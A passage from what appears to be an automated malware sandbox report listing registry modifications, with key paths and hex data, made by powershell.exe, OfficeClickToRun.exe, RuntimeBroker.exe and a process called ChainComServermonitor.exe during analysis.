10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 03 Nov 2024 17:38:16 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={46D1E072-05E8-424B-81E4-41BBD7F0FDBC}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe -
Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\172e3be6-cb96-4a4a- RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e2a39164-9878-454e- = 0114020000000000c0000000000000464c0000000114020000000000c0000000000000468300000020000000772c8a32172edb01772c8a32172edb01772c8a32172edb01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000006359d08c2000633231616637643365663363653461313832336261636130663334653630383763323534363739323066346338303964373330346331633163313136376164380000b20009000400efbe6359d08c6359d08c2e0000000000000000000000000000000000000000000000000089efea00630032003100610066003700640033006500660033006300650034006100310038003200330062006100630061003000660033003400650036003000380037006300320035003400360037003900320030006600340063003800300039006400370033003000340063003100630031006300310031003600370061006400380000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007828d07d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c63323161663764336566336365346131383233626163613066333465363038376332353436373932306634633830396437333034633163316331313637616438000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000796c666f67696f65000000000000000066cf19745d416c49910feb644c099ac987a4a83d9484ef11b319cafd856c81b166cf19745d416c49910feb644c099ac987a4a83d9484ef11b319cafd856c81b1ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800370038003600340031003200310031002d003600390036003400310037003800370038002d0033003800360034003900310034003800310030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000001a73a277000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c5da17bc-c202-4ca2- = "\\\\?\\Volume{77A2731A-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\1422f9269a4de997e8249a99aa5c62ac2cc3277d8d4b7a0347c669d18f5a9842" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b0cbf58c-df86-4532- = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bf34eae1-6555-4103- = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\afd7dd3d-e155-4002- = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\b0cbf58c-df86-4532- = "\\\\?\\Volume{77A2731A-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\c21af7d3ef3ce4a1823baca0f34e6087c25467920f4c809d7304c1c1c1167ad8" RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings ChainComServermonitor.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aa5800d9-d125-499c- RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e2a39164-9878-454e- RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c28aae97-d47e-401e- RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\afd7dd3d-e155-4002- RuntimeBroker.exe Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e2a39164-9878-454e- = "\\\\?\\Volume{77A2731A-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\c21af7d3ef3ce4a1823baca0f34e6087c25467920f4c809d7304c1c1c1167ad8" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a8275e2c-27cc-4cc4- = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000007a7a9832172edb017a7a9832172edb017a7a9832172edb01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000006359d08c2000306430313237613034643834346537396533633766396435376237343231663162316164333033643936363539333036643363373232336530613339636630620000b20009000400efbe6359d08c6359d08c2e0000000000000000000000000000000000000000000000000086a1dc00300064003000310032003700610030003400640038003400340065003700390065003300630037006600390064003500370062003700340032003100660031006200310061006400330030003300640039003600360035003900330030003600640033006300370032003200330065003000610033003900630066003000620000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007828d07d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c30643031323761303464383434653739653363376639643537623734323166316231616433303364393636353933303664336337323233653061333963663062000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000796c666f67696f65000000000000000066cf19745d416c49910feb644c099ac989a4a83d9484ef11b319cafd856c81b166cf19745d416c49910feb644c099ac989a4a83d9484ef11b319cafd856c81b1ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800370038003600340031003200310031002d003600390036003400310037003800370038002d0033003800360034003900310034003800310030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000001a73a277000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bf34eae1-6555-4103- = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59896060-f17e-4b7f- = "\\\\?\\Volume{77A2731A-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\b05e815a7e776b5b5a59eca952f8b1eec18314271a558352e0655bd6dc32a061" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59896060-f17e-4b7f- = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000003b04a232172edb013b04a232172edb013b04a232172edb01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000006359d08c2000623035653831356137653737366235623561353965636139353266386231656563313833313432373161353538333532653036353562643664633332613036310000b20009000400efbe6359d08c6359d08c2e00000000000000000000000000000000000000000000000000c517d300620030003500650038003100350061003700650037003700360062003500620035006100350039006500630061003900350032006600380062003100650065006300310038003300310034003200370031006100350035003800330035003200650030003600350035006200640036006400630033003200610030003600310000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007828d07d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c62303565383135613765373736623562356135396563613935326638623165656331383331343237316135353833353265303635356264366463333261303631000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000796c666f67696f65000000000000000066cf19745d416c49910feb644c099ac98ba4a83d9484ef11b319cafd856c81b166cf19745d416c49910feb644c099ac98ba4a83d9484ef11b319cafd856c81b1ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002d00320031002d0032003800370038003600340031003200310031002d003600390036003400310037003800370038002d0033003800360034003900310034003800310030002d0031003000300030000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000001a73a277000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\afd7dd3d-e155-4002- = "\\\\?\\Volume{77A2731A-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\9a25476b7dc3a23883bd9e5bd49f586d69e03e33de9198228e0e61937adcb57e" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c28aae97-d47e-401e- = "0" RuntimeBroker.exe Key deleted \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\1d70fc75-e86f-4fdb- RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5ad65c3f-fc2e-41f2- = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59896060-f17e-4b7f- = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c5da17bc-c202-4ca2- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aa5800d9-d125-499c- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\aa5800d9-d125-499c- = "0" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\c28aae97-d47e-401e- = "8324" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\172e3be6-cb96-4a4a- RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\afd7dd3d-e155-4002- = fdaeef33172edb01 RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\172e3be6-cb96-4a4a- = "8324" RuntimeBroker.exe Set value (int) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\172e3be6-cb96-4a4a- = "0" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\a8275e2c-27cc-4cc4- = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\bf34eae1-6555-4103- = "\\\\?\\Volume{77A2731A-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\edb4e76b3374aa58904e9fda8ea36dfcafa8a3f29cb33d6c1e89418412efd407" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\172e3be6-cb96-4a4a- = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000007db1f032172edb01bca26434172edb01bca26434172edb01d3470a000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad013200000000006359d08c2000623035653831356137653737366235623561353965636139353266386231656563313833313432373161353538333532653036353562643664633332613036310000b20009000400efbe6359d08c6359d08c2e00000000000000000000000000000000000000000000000000c517d300620030003500650038003100350061003700650037003700360062003500620035006100350039006500630061003900350032006600380062003100650065006300310038003300310034003200370031006100350035003800330035003200650030003600350035006200640036006400630033003200610030003600310000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000007828d07d1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c62303565383135613765373736623562356135396563613935326638623165656331383331343237316135353833353265303635356264366463333261303631000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000796c666f67696f65000000000000000066cf19745d416c49910feb644c099ac991a4a83d9484ef11b319cafd856c81b166cf19745d416c49910feb644c099ac991a4a83d9484ef11b319cafd856c81b1ce000000090000a08900000031535053e28a5846bc4c3843bbfc139326986dce6d00000004000000001f0000002e00000053002d0031002d0035002